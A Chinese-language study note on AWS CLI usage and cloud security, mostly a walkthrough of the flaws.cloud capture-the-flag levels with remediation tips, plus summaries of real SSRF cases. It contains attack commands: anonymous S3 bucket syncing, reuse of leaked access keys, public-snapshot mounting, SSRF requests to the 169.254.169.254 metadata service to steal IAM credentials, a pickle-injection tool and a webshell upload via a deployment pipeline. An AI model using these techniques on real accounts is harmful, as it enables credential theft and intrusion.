aws安装
帮助文档:https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html
linux下载安装
1 | --user 默认加载到~/.local/bin |
管理存储桶
创建桶;
1 | $ aws s3 mb s3://bucket-name |
删除桶:
1 | $ aws s3 rb s3://bucket-name |
删除非空桶:
1 | $ aws s3 rb s3://bucket-name --force |
列出存储桶
1 | $ aws s3 ls |
列出存储桶中所有的对象和文件夹
1 | $ aws s3 ls s3://bucket-name |
列出桶中 bucket-name/MyFolder 中的对象
1 | $ aws s3 ls s3://bucket-name/MyFolder |
管理对象
命令包括 aws s3 cp、aws s3 ls、aws s3 mv、aws s3 rm 和 sync。cp、ls、mv 和 rm 命令的用法与它们在 Unix 中的对应命令相同。 // 将当前目录里的 MyFile.txt文件拷贝到 s3://my-bucket/MyFolder
1 | $ aws s3 cp MyFile.txt s3://my-bucket/MyFolder/ |
将s3://my-bucket/MyFolder所有 .jpg 的文件移到 ./MyDirectory
1 | $ aws s3 mv s3://my-bucket/MyFolder ./MyDirectory --exclude '*' --include '*.jpg' --recursive |
列出 my-bucket的所有内容
1 | $ aws s3 ls s3://my-bucket |
列出my-bucket中MyFolder的所有内容
1 | $ aws s3 ls s3://my-bucket/MyFolder |
删除 s3://my-bucket/MyFolder/MyFile.txt
1 | $ aws s3 rm s3://my-bucket/MyFolder/MyFile.txt |
删除 s3://my-bucket/MyFolder 和它的所有内容
1 | $ aws s3 rm s3://my-bucket/MyFolder --recursive |
当 –recursive 选项
与 cp、mv 或 rm 一起用于目录/文件夹时,命令会遍历目录树,包括所有子目录 sync命令 sync 命令的形式如下。可能的源-目标组合有: 本地文件系统到 Amazon S3 Amazon S3 到本地文件系统 Amazon S3 到 Amazon S3
1 | $ aws s3 sync <source> <target> [--options] |
例如:本地文件系统到S3中:
1 | $ aws s3 sync 本地目录/. s3://my-bucket/目录 |
什么是 Amazon EC2?
Amazon Elastic Compute Cloud (Amazon EC2) 在 Amazon Web Services (AWS) 云中提供可扩展的计算容量。使用 Amazon EC2 可避免前期的硬件投入,因此你能够快速开发和部署应用程序。通过使用 Amazon EC2,你可以根据自身需要启动任意数量的虚拟服务器、配置安全和网络以及管理存储。Amazon EC2 允许你根据需要进行缩放以应对需求变化或流行高峰,降低流量预测需求。
Amazon EC2 提供以下功能:
- 虚拟计算环境,也称为实例
- 实例的预配置模板,也称为 Amazon 系统映像 (AMI),其中包含你的服务器需要的程序包(包括操作系统和其他软件)。
- 实例 CPU、内存、存储和网络容量的多种配置,也称为实例类型
- 使用密钥对的实例的安全登录信息(AWS 存储公有密钥,你在安全位置存储私有密钥)
- 临时数据(停止或终止实例时会删除这些数据)的存储卷,也称为实例存储卷
- 使用 Amazon Elastic Block Store (Amazon EBS) 的数据的持久性存储卷,也称为 Amazon EBS 卷。
- 用于存储资源的多个物理位置,例如实例和 Amazon EBS 卷,也称为区域 和可用区
- 防火墙,让你可以指定协议、端口,以及能够使用安全组到达你的实例的源 IP 范围
- 用于动态云计算的静态 IPv4 地址,称为弹性 IP 地址
- 元数据,也称为标签,你可以创建元数据并分配给你的 Amazon EC2 资源
- 你可以创建的虚拟网络,这些网络与其余 AWS 云在逻辑上隔离,并且你可以选择连接到你自己的网络,也称为 Virtual Private Cloud(VPC)
https://docs.aws.amazon.com/zh_cn/AWSEC2/latest/UserGuide/concepts.html
什么是 IAM?
AWS Identity and Access Management (IAM) 是一种 Web 服务,可以帮助你安全地控制对 AWS 资源的访问。你可以使用 IAM 控制对哪个用户进行身份验证 (登录) 和授权 (具有权限) 以使用资源。
当你首次创建 AWS 账户时,最初使用的是一个对账户中所有 AWS 服务和资源有完全访问权限的单点登录身份。此身份称为 AWS 账户 根用户,可使用你创建账户时所用的电子邮件地址和密码登录来获得此身份。强烈建议你不使用 根用户 执行日常任务,即使是管理任务。请遵守仅将 根用户 用于创建首个 IAM 用户的最佳实践。然后请妥善保存 根用户 凭证,仅用它们执行少数账户和服务管理任务。
https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/introduction.html
实例元数据和用户数据
实例元数据 是有关你的实例的数据,可以用来配置或管理正在运行的实例。实例元数据可划分成不同类别。有关更多信息,请参阅实例元数据类别。
虽然你只能从实例自身内部访问实例元数据和用户数据,但数据并未进行加密保护。可访问实例的人员均可查看其元数据。因此,你应当采取适当的预防措施来保护敏感数据(例如永久加密密钥)。不应将敏感数据 (例如密码) 存储为用户数据。
你也可以使用实例元数据访问你启动实例时指定的用户数据。例如,你可指定参数以便配置实例,也可附加简单的脚本。你也可以使用这些数据来构建更多可通过启动时提供的配置文件来修改的通用 AMI。例如,如果你为各种小型企业运行 Web 服务器,则这些企业都可以使用相同的 AMI,并在启动时从你在用户数据中指定的 Amazon S3 存储桶中检索其各自的内容。要随时添加一个新客户,你只需为该客户创建一个存储桶,将客户的内容添加进去,然后启动你的 AMI 即可。如果你同时启动多个实例,则用户数据可供该预留中的所有实例使用。
检索实例元数据
由于你的正在运行的实例存在实例元数据,因此你无需使用 Amazon EC2
控制台或 AWS CLI
。这在你编写脚本以实现从实例运行时非常有用。例如,你可从实例元数据访问你的实例的本地 IP 地址来以管理与外部应用程序的连接。
要从运行实例内部查看所有类别的实例元数据
1 | http://169.254.169.254/latest/meta-data/ |
IP 地址 169.254.169.254
是链路本地地址,仅从该实例有效。有关更多信息,请参阅 Wikipedia 上的链路本地地址。
使用一种诸如 cURL 的工具
1 | curl http://169.254.169.254/ |
获得顶级元数据项目
1 | curl http://169.254.169.254/latest/meta-data/ |
示例获得前面示例中的一些元数据项目的值
1 | [ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/ami-id |
获得可用公共密钥的列表
1 | [ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/public-keys/ |
此示例显示了公用密钥 0 可用的格式
1 | [ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/public-keys/0/ |
获得公用密钥 0 (以 OpenSSH 密钥格式)
1 | [ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key |
获取实例的子网 ID
1 | [ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/network/interfaces/macs/02:29:96:8f:6a:2d/subnet-id |
你也可以下载实例元数据查询工具,通过该工具,你无需键入完整的 URI 或目录名称就可以查询实例元数据。
下载
1 | wget http://s3.amazonaws.com/ec2metadata/ec2-metadata |
要获取实例的ami-id
1 | $ ec2-metadata -a |
获取公共主机名
1 | $ ec2-metadata -p |
获取本地ipv4
1 | $ ec2-metadata -o |
AWS工具集
- https://github.com/RhinoSecurityLabs/Cloud-Security-Research PY.AWS云安全研究,工具集。
- https://github.com/RhinoSecurityLabs/pacu 亚马逊AWS漏洞检测框架
- https://github.com/stuhirst/awssecurity/blob/master/arsenal.md AWS 安全检测相关的项目列表
- https://github.com/toniblyx/my-arsenal-of-aws-security-tools AWS安全工具集
- https://github.com/sa7mon/S3Scanner 扫描amazon公开的S3 buckets和dump
- https://github.com/kromtech/s3-inspector 检测亚马逊AWS S3 bucket permissions
- https://github.com/jordanpotti/AWSBucketDump 枚举AWS S3 buckets以查找敏感机密的文件
- https://github.com/Netflix/repokid AWS 最低权限策略部署工具
- AWS Extender Burp插件
aws漏洞类型
6种漏洞类型
AmazonS3 bucket允许匿名访问
AmazonS3 bucket允许列出文件
AmazonS3 Bucket允许任意文件上传和读取
AmazonS3 bucket允许盲上传
AmazonS3 bucket允许任意读取/写入对象
AmazonS3 bucket显示ACP/ACL
aws hackerone报告
Legal Robot:错误配置导致的信息泄露
https://hackerone.com/reports/189023
Zomato:错误配置导致的非法改动文件
https://hackerone.com/reports/229690
Reverb.com:错误配置导致的任意文件上传
https://hackerone.com/reports/172549
Ruby:错误配置导致的任意文件删除,移动
https://hackerone.com/reports/209223
Twitter:错误配置导致的文件读取,写入,删除
https://hackerone.com/reports/129381
aws ctf
ctf1 当 Everyone 具有访问权限
题目地址:http://flaws.cloud/
1 | ~/.local » host flaws.cloud |
aws sync s3://flaws.cloud/ dir --no-sign-request --region us-west-2
1 | --no-sign-request 不要签署请求。如果提供此参数,则不会加载凭据。 |
下载S3 Bucket的数据
1 | aws s3 sync s3://flaws.cloud/ dir --no-sign-request |
curl flaws.cloud/secret-dd02c7c.html to dir/secret-dd02c7c.html
找到flag
修复方式
在 Bucket Permission 里删除相关权限配置
hackerone案例
1 | aws s3 sync s3://shopify.com.s3 dir --no-sign-request |
ctf2 Any Authenticated AWS User
ctf地址:http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/
提示:
下一个级别非常相似,略有不同。你将需要自己的AWS账户。你只需要免费套餐。
你需要自己的AWS密钥,并且需要使用AWS CLI。与第一级类似,你可以发现此子域作为S3存储桶托管,其名称为“level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud”。
它的权限过于宽松,但你需要自己的AWS账户才能看到内部的内容。使用你自己的帐户,你可以运行:
1 | aws s3 --profile YOUR_ACCOUNT ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud |
测试过程:
1 | ~/aws » aws s3 sync s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud dir --no-sign-request |
需要使用aws密钥,配置参考:快速配置 AWS CLI
简单讲讲
1 | $ aws configure --profile user2 |
操作完后会生成~/.aws/config
和~/.aws/credentials
使用自己的aws账号未授权下载其他人S3。
这里我用的是第三关的aws配置
1 | aws s3 --profile test1 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud |
修复方式
与打开“Everyone”权限类似,人们不小心打开了“任何经过身份验证的AWS用户”的权限。他们可能会错误地认为这只会是他们帐户的用户,而实际上它意味着拥有AWS账户的任何人。
hackerone案例
同上使用自己的aws账号未授权操作其他用户S3
1 | move: ./test.txt to s3://udemy-maven/test.txt |
ctf3 aws access key 管理问题
http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/
同样使用命令,下载S3文件。
1 | aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ dir --no-sign-request |
发现.git目录
- 查看git log,从下往上看
1 | git log |
2.查看修改内容
1 | git diff f52ec03b227ea6094b04e43f475fb0126edb5a61 |
找到了删除的 aws access key & secret
1 | diff --git a/access_keys.txt b/access_keys.txt |
这里配置的信息地区需要写成us-west-1
列出 my-bucket的所有内容
1 | $ aws s3 ls s3://my-bucket |
列出my-bucket中MyFolder的所有内容
1 | $ aws s3 ls s3://my-bucket/MyFolder |
这里使用
1 | aws --profile Wh0ale s3 ls |
修复方案
人们经常泄漏AWS密钥,然后试图掩盖他们的错误而不撤销密钥。你应该始终撤销可能已泄露或放错地方的任何AWS密钥(或任何机密)。经常修改你的密钥。
删掉 .git,
在 IAM -> Users -> Access Keys 里重新分配 aws access key & secret
案例
1.Ruby(Rails)RCE -- 服务器实际上反序列化了cookie,正确匹配了签名,并运行了有效负载
2.Instagram实例只是简单地使用本地Postgres数据库实例。使用RCE,可以轻松读取配置文件以获取此数据库所需的凭据。我连接并转储了users表的内容。正如预期的那样,这完全由员工账户组成,包括Instagram和Facebook员工。总共有大约60个账户。
3.查找sensu.instagram.com服务器上任何明显的配置缺陷时,我查看了服务器配置文件:/etc/sensu/config.json
,文件中还存在一个相当明显的AWS密钥对。
Github上的文件secret_token.rb有一个硬编码的Rails秘密令牌
ctf4 快照利用
http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/
对于一个没有权限限制的快照,任何人都可以通过挂载这个快照,并提取快照里的内容
在设置nginx之后不久,快照就是由EC2构成的。
你可以将EC2的磁盘卷快照作为备份。在这种情况下,快照已公开,但你需要找到它。
要做到这一点,首先我们需要帐户ID,我们可以使用上一级别的AWS密钥获取该帐户ID:
1 | ~/aws » aws --profile flaws sts get-caller-identity 以验证你是否已代入 IAM 角色,获取Account |
此帐户所做的备份是EC2的快照。接下来,发现快照:
1 | aws --profile flaws ec2 describe-snapshots --owner-id 975426262029 |
我们指定owner-id
只是为了过滤输出。为了好玩,在没有owner-id的情况下运行该命令,并注意所有公共可读的快照。默认情况下,快照是私有的,你可以通过指定其他帐户的帐户ID安全地在帐户之间进行转移,但是许多人只是将它们公开并忘记了它们。
使用自己申请的aws账号挂载靶机的公共aws快照。
1 | aws --profile Wh0ale ec2 create-volume --availability-zone us-west-2a --region us-west-2(快照) --snapshot-id snap-0b49342abd1bdcb89 |
但是前提好像是需要挂载的快照需要在同一个区域,因为没有信用卡,注册不了aws账号
使用ctf3赛题上的aws凭证好像不太能挂载
1 | An error occurred (UnauthorizedOperation) when calling the CreateVolume operation: You are not authorized to perform this operation. Encoded authorization failure message: aOP0jYFqY_OFZ9AkmTtFD_e5BLwawYzL3q_Is8SQpI6EYrux7NhvPgh7WtwLVb8NLBOSskHsNp45qX4-u_dt5rsybl33T8QHfCu0Sm7bc9FKCf61pjINL5B-G3g6AeX5ihCwQbWJwMRbolC3_ZWWKSUd5Ju4dFsZiW5OKgTFcfosYA5TjHUKolB41Dh5esDmIYikl2Mgz6U2uWoNkt6eNAzAZekkvM2QgAw1oKZWBg8X2qvK5cEeKZDlEFzNP9xKeYxdGNDy7o4izdY1l9PtDqwnfnV4z1BV4lGUPk7v8r1-ezHFN7G9jj1XOZeCv-WEKXE8xMiaNMDp9Xjosj_p-U3pTwacb1DWVVOXVE5J-WM4L3y7sEa3PWF493KwmlyZPKbDuXhzPfcpo4YcCgl-7W1hTYM0Fe5rx2EiGE1xFZ_4WqHT6AZ3xkQeqgjgWA8Wzsc375lvcRwLD5Tuu5-TeuvVgwxT7Ry_LYp0TvUzzlo94aKzyQqXElQMmkc5LpNHzwcpTinfg5balkK-WQIrOowm23ji_4VKXK04hTtHe56B44v5Oi1UsOxHmKqKJyogMkGNK0jTdKTEhRQGveEWutGQnGZlRwl3zlKa2gqSynJ2B-VVWj9mBuvCJdhnbFs-aTt8 |
使用以下内容进行SSH:
1 | ssh -i YOUR_KEY.pem ubuntu@ec2-54-191-240-80.us-west-2.compute.amazonaws.com |
我们需要通过运行来安装这个额外的卷:
1 | lsblk |
一旦你附加了卷,你就会想要找一些可能告诉你密码的东西。运行find / mnt -mtime -1
的某些变体将有助于查找最近的文件,你可以使用以下方法进一步过滤:
1 | find /mnt -type f -mtime -1 2>/dev/null | grep -v "/var/" | grep -v "/proc/" | grep -v "/dev/" | grep -v "/sys/" | grep -v "/run/" | less |
在ubuntu用户的主目录中是文件:/ home / ubuntu / setupNginx.sh
这将创建基本的HTTP身份验证用户http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/
1 | htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M |
输入账号密码登录flaws/nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
Good work getting in. This level is described at http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/
修复:
AWS允许你制作EC2和数据库(RDS)的快照。其主要目的是进行备份,但人们有时会在忘记密码时使用快照来访问自己的EC2。这也允许攻击者访问事物。快照通常仅限于你自己的帐户,因此可能的攻击是攻击者可以访问AWS密钥,允许他们使用EC2启动/停止和执行其他操作,然后使用它来快照EC2并启动EC2你环境中的该卷可以访问它。与所有备份一样,你需要谨慎保护它们。
ctf5 元数据服务
http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/
查看元数据工具nimbostratus
1 | git clone https://github.com/andresriancho/nimbostratus.git |
开启python虚拟环境,模块不冲突
1 | python3 |
转储权限
1 | $ nimbostratus dump-permissions --access-key=... --secret-key=... |
转储实例元数据
所有EC2实例都有元数据 ,可通过http://169.254.169.254/latest/meta-data/访问。此工具将从元数据中提取所有重要信息并显示给你。
请记住,每个EC2实例都有自己的http://169.254.169.254/
元数据提供程序,并且在不同的实例上运行此命令将产生不同的结果。
1 | $ nimbostratus dump-ec2-metadata |
使用以下定义的漏洞从远程实例中提取元数据core.utils.mangle.mangle
:
1 | $ nimbostratus dump-ec2-metadata --mangle-function=core.utils.mangle.mangle |
创建数据库快照
某些情况下,你拥有Amazon凭据,允许你访问RDS API,但无权访问数据库本身(MySQL用户)。此工具允许你通过创建快照并还原它来访问存储在该数据库中的信息。
1 | $ nimbostratus snapshot-rds --access-key=... \ |
Inject raw Celery message
Celery警告开发人员关于不安全的泡菜 序列化方法,但当然你会在现实生活中找到这样的部署。此工具将检查正在运行此工具的实例是否可以访问SQS,如果该SQS具有Celery队列,则验证Queue是否正在使用pickle并最终注入将在取消选择时执行任意命令的原始消息
1 | $ nimbostratus celery-pickle-exploit --access-key=... \ |
创建新用户
如果你拥有允许你使用IAM创建新用户的凭据,则此工具将创建它(具有访问所有Amazon资源的权限)并返回API密钥和密钥。
1 | $ nimbostratus create-iam-user --access-key=... --secret-key=... |
上面是这个工具的使用方法,我在vps测试没使用成功
我们用代理服务访问以下 metadata 地址
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/
1 | { |
找到了EC2的IAM角色提供的AWS凭证,该角色允许你使用以下内容列出你知道存在于.git repo密钥的6级存储桶的内容:
按照同样的方式,建立一个新的 level5 profile,然后读取 level6 的内容,e.g
1 | vim ~/.aws/credentials 写入 |
IP地址169.254.169.254
是云世界中的神奇IP。AWS,Azure,Google,DigitalOcean和其他人使用此功能允许云资源查找有关自身的元数据。有些人,比如谷歌,对请求有其他限制,例如要求它使用Metadata-Flavor: Google
:谷歌”作为HTTP标头,并拒绝使用X-Forwarded-For
标头的请求。AWS没有约束。如果可以从EC2向该IP发出任何类型的HTTP请求,可能会收到所有者希望你看不到的信息。
这个问题的例子
- NicolasGrégoire发现prezi允许你将服务器指向URL以将内容包含在幻灯片中,这使你可以指向169.254.169.254,它为EC2 intance配置文件(链接)提供了访问密钥。他还发现了使用Phabricator和Coinbase访问神奇IP的问题。
访问IAM配置文件访问密钥的类似问题是访问EC2的用户数据,人们有时会使用这些数据将密钥传递给EC2,例如API密钥或凭证。
修复建议
确保你的应用程序不允许访问169.254.169.254
或任何本地和专用IP范围。此外,请确保尽可能限制IAM角色。
ctf6 IAM策略错误
http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/
对于最后的挑战,你将获得一个附有SecurityAudit策略的用户访问密钥。了解它可以做什么以及你在此AWS账户中可能找到的其他内容。
Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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
SecurityAudit组可以对AWS账户中的资源进行高级概述,但对于查看IAM策略也很有用。首先,找出你是谁(假设你将你的个人资料命名为“level6”):
1 | ~/aws » aws --profile level6 iam get-user |
现在你知道你的用户名是Level6,你可以找到附加到它的策略:
1 | ~/aws » aws --profile level6 iam list-attached-user-policies --user-name Level6 |
一旦你知道该策略的ARN,你就可以获得它的版本ID:
1 | ~/aws » aws --profile level6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways |
现在你已拥有ARN和版本ID,你可以看到实际的策略是什么:
1 | ~/aws » aws --profile level6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4 |
这告诉我们使用这个策略我们可以在"arn:aws:apigateway:us-west-2::/restapis/*"
上调用"apigateway:GET"
使用它,它应该引导你到隐藏资源的方向。
你现在知道你有能力GET "arn:aws:apigateway:us-west-2::/restapis/*"
在这种情况下,API网关用于调用lambda函数,但你需要弄清楚如何调用它。
SecurityAudit策略可以让你看到有关lambdas的一些信息:
1 | ~/aws » aws --region us-west-2 --profile level6 lambda list-functions |
这告诉你有一个名为“Level6”的函数,SecurityAudit还允许你运行:
1 | ~/aws » aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 |
这告诉你能够执行arn:aws:execute-api:us-west-2:975426262029:s33ppypa75 / * / GET / level6 \
那个“s33ppypa75”是一个rest-api-id,你可以与其他附加政策一起使用:
1 | ~/aws » aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" |
这告诉你舞台名称是“Prod”。使用rest-api-id,阶段名称,区域和资源调用Lambda函数,如https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
修复建议
通常为人员和实体提供只读权限,例如SecurityAudit策略。读取你自己和其他IAM策略的能力确实可以帮助攻击者找出你环境中存在的内容并寻找漏洞和错误。
不要随意分发任何权限,即使只允许你读取元数据或知道你的权限是什么的权限。
aws案例
在AWS Elastic Beanstalk中利用SSRF
AWS Elastic Beanstalk支持Web Server和Worker环境配置。
Elastic Beanstalk不会为其创建的Amazon S3 Storage bucket启用默认加密。这意味着默认情况下,对象以未加密的形式存储在Storage bucket中(并且只能由授权用户访问)。
将 Elastic Beanstalk 用于 Amazon S3
Elastic Beanstalk 为您在其中创建环境的每个区域创建一个名为 elasticbeanstalk-*region*-*account-id*
的 Amazon S3 存储桶。Elastic Beanstalk 使用此存储桶存储应用程序正常运行所需的对象,例如,临时配置文件。
1.应用程序存在服务器端请求伪造(SSRF)漏洞
漏洞链接
1 | http://staging.xxxx-redacted-xxxx.com/view_pospdocument.php?doc=http://localhost/server-status |
2.通过服务器指纹识别确认服务提供商是亚马逊
3.ssrf查询aws api,检索了访问密钥,秘密访问密钥和令牌:
1 | view_pospdocument.php?doc=http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role |
4.配置AWS命令行界面
1 | aws configure --profile myaccount |
验证你是否已代入 IAM 角色,获取Account
1 | aws sts get-caller-identity |
5.AWS CLI以递归方式列出了bucket resources
1 | aws s3 ls s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/ |
6.递归复制所有S3 Bucket Data
1 | aws s3 cp s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/ /home/foobar/awsdata -recursive |
7.ssrf->rce
上传webshell
1 | aws s3 cp /home/webshell.php s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/webshell.php |
上传失败,返回404
8.添加管道
软件版本使用AWS Pipeline,S3存储桶作为源存储库,Elastic Beanstalk作为部署提供程序自动执行
9.跳过构建阶段
10.添加部署提供程序
10.成功创建新管道
现在,是时候在S3 bucket 中上传一个新文件(webshell)来执行系统级命令,如图19所示:
11.在源提供程序中配置的对象中添加该文件
12.在对象中添加webshell,使用AWS CLI命令将存档文件上载到S3 bucket
13.CodePipeline立即启动构建过程
14.管道触发
https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/
从SSRF到最终获取AWS S3 Bucket访问权限的实际案例
1.找到ssrf触发点
1 | downloadcallback/download_handler.php?path= |
存在本地文件包含,ssrf
file:/// , dict:// , ftp:// and gopher://读取本地文件内容
2.读取了/etc/motd文件,该文件表明该应用程序是通过AWS ElasticBeanstalk部署的
通过SSRF搜索AWS实例元数据和用户数据
从以下API中检索AWS账户ID和Region
1 | downloadcallback/download_handler.php?path=http://169.254.169.254/latest/dynamic/instance-identity/document |
3.获取AWS Access Key,Secret Access Key和Token
1 | downloadcallback/download_handler.php?path=http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role |
https://www.freebuf.com/articles/web/198687.html
配置错误的AWS到AWS Bucket Takeover的信息泄露
1.找到aws存储桶的png图片 s3.region.amazonaws.com/downloads/xxx.png
2.访问s3.region.amazonaws.com/downloads/ 发现信息泄露,遍历所列出的文件
3.下载zip文件
4.发现document.wflow
文件包含了我需要收集AWS Bucket的所有内容
5.使用access_key
和secret_key
进行登陆